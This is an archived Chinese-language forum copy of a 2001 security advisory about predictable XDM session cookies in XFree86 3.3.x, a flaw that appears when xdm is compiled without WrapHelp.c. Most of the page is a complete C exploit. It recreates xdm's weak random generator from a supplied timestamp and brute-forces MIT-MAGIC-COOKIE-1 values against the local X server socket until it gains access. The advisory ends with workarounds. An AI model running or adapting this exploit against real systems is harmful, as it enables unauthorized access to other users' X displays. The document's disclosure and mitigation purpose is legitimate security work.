精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>XDM Session Cookie可预测漏洞

主题:XDM Session Cookie可预测漏洞
发信人: peking(PEKING)
整理人: williamlong(2001-07-16 15:06:31), 站内信件
XDM Session Cookie可预测漏洞

发布日期: 2001-7-4
 
更新日期: 2001-7-12 
受影响的系统:  
XFree86 X11R6 3.3.3
XFree86 X11R6 3.3 
描述:
--------------------------------------------------------------------------------
 


BUGTRAQ ID : 2985

xdm是X显示管理工具,是XFree86软件包的一部分,主要负责本地和远程的X Session的
显示的管理。

如果xdm服务器编译时没有包含WrapHelp.c的话,就容易受到X cookie的穷举攻击,这
是由于使用了容易猜测的数字保护Session的结果。

这可能导致远程攻击者获得对显示器的访问。

<*来源:Cyril Diakhate ([email protected]) *>


 
测试程序:
--------------------------------------------------------------------------------
 
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

Cyril Diakhate ([email protected])提供了如下测试代码:

/*
** xdm-cookie-exploit.c
**
** Made by (ntf & sky)
** Login    <[email protected]>, <[email protected]>
**
** Last update Sun Jun 24 21:38:48 2001 root
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <X11/Xmd.h>
#include <X11/X.h>
#include <signal.h>

void doit(struct timeval t);
void die(char *perror_msg); /* TODO: terminal function */

#define COOKIE_SZ 16
#define TRUE  42

struct  s_x11_hdr
{
  char  endian;
  char  pad1;
  CARD16 protocol_major_version;
  CARD16 protocol_minor_version;
  CARD16 authorization_protocol_name_length;
  CARD16 authorization_protocol_data_length;
  CARD16 pad2;
  char  authorization_protocol_name[20];
  char  authorization_protocol_data[16];
};

static unsigned  long int next = 1;
static unsigned int  total = 0;

void on_sigint(int sig)
{
  printf("total: %d\n", total);
}

int main(ac,av)
int ac;
char *av[];
{
  struct timeval t;

  if (ac < 3)
{
fprintf (stderr, "%s: usage time_insec time_inusec\n", av[0]);
exit (4);
}
t.tv_sec = atoi(av[1]);
t.tv_usec = atoi(av[2]);
printf("sec == %lu\nusec == %lu\n", t.tv_sec, t.tv_usec);
doit(t);
return (0);
}



static int inline xdm_rand(void)
{
next = next * 1103515245 + 12345;
return (unsigned int)(next / 65536) % 32768;
}

void print_cookie(unsigned char cookie[COOKIE_SZ])
{
int i;

printf("cookie=");
for (i = 0; i < COOKIE_SZ; i++)
printf("%02x", cookie[i]);
printf("\n");
}


void doit(t)
struct timeval t;
{
unsigned char cookie[COOKIE_SZ];
long ldata[2];
struct sockaddr_un addr;
char buffer[1024];
struct s_x11_hdr x11hdr;

ldata[0] = t.tv_usec;
ldata[1] = t.tv_sec;
total = 0;
x11hdr.endian = 'l';
x11hdr.protocol_major_version = X_PROTOCOL;
x11hdr.protocol_minor_version = X_PROTOCOL_REVISION;
x11hdr.authorization_protocol_name_length = 18;
x11hdr.authorization_protocol_data_length = 16;
bcopy("MIT-MAGIC-COOKIE-1", x11hdr.authorization_protocol_name, 18);
for (total = 0; TRUE; total++)
{
int fd;
int i;

if (!ldata[0])
ldata[1]--;
ldata[0]--;
if ((fd = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1)
die("socket");
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_LOCAL;
strcpy(addr.sun_path, "/tmp/.X11-unix/X0");
if ((connect(fd, (struct sockaddr*)&addr, sizeof(addr))) == -1)
die("connect");
next = (ldata[0]) + (ldata[1] << 16);
for (i = 0; i < 16; i++)
cookie[i] = (xdm_rand() & 0xff00) >> 8;
      bcopy(cookie, x11hdr.authorization_protocol_data, 16);
      if (write(fd, &x11hdr, sizeof(x11hdr)) == -1)
die("write");
      if (read(fd, buffer, sizeof(buffer)) == -1)
die("read");
      if (buffer[0])
{
   printf("SUCCESS: ");
   print_cookie(cookie);
   exit(0);
}
      if (!(total % 1000))
{
   printf(".");
   fflush(stdout);
}
      close(fd);
    }
  exit(42);
}

void die(str)
char *str;
{
  perror(str);
  exit(4);
}
 

--------------------------------------------------------------------------------
建议: 

临时解决方法:

1.重新编译XFree86,编译时包含WrapHelp.c
2.控制对X服务器的访问

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.xfree86.org/
 





[关闭][返回]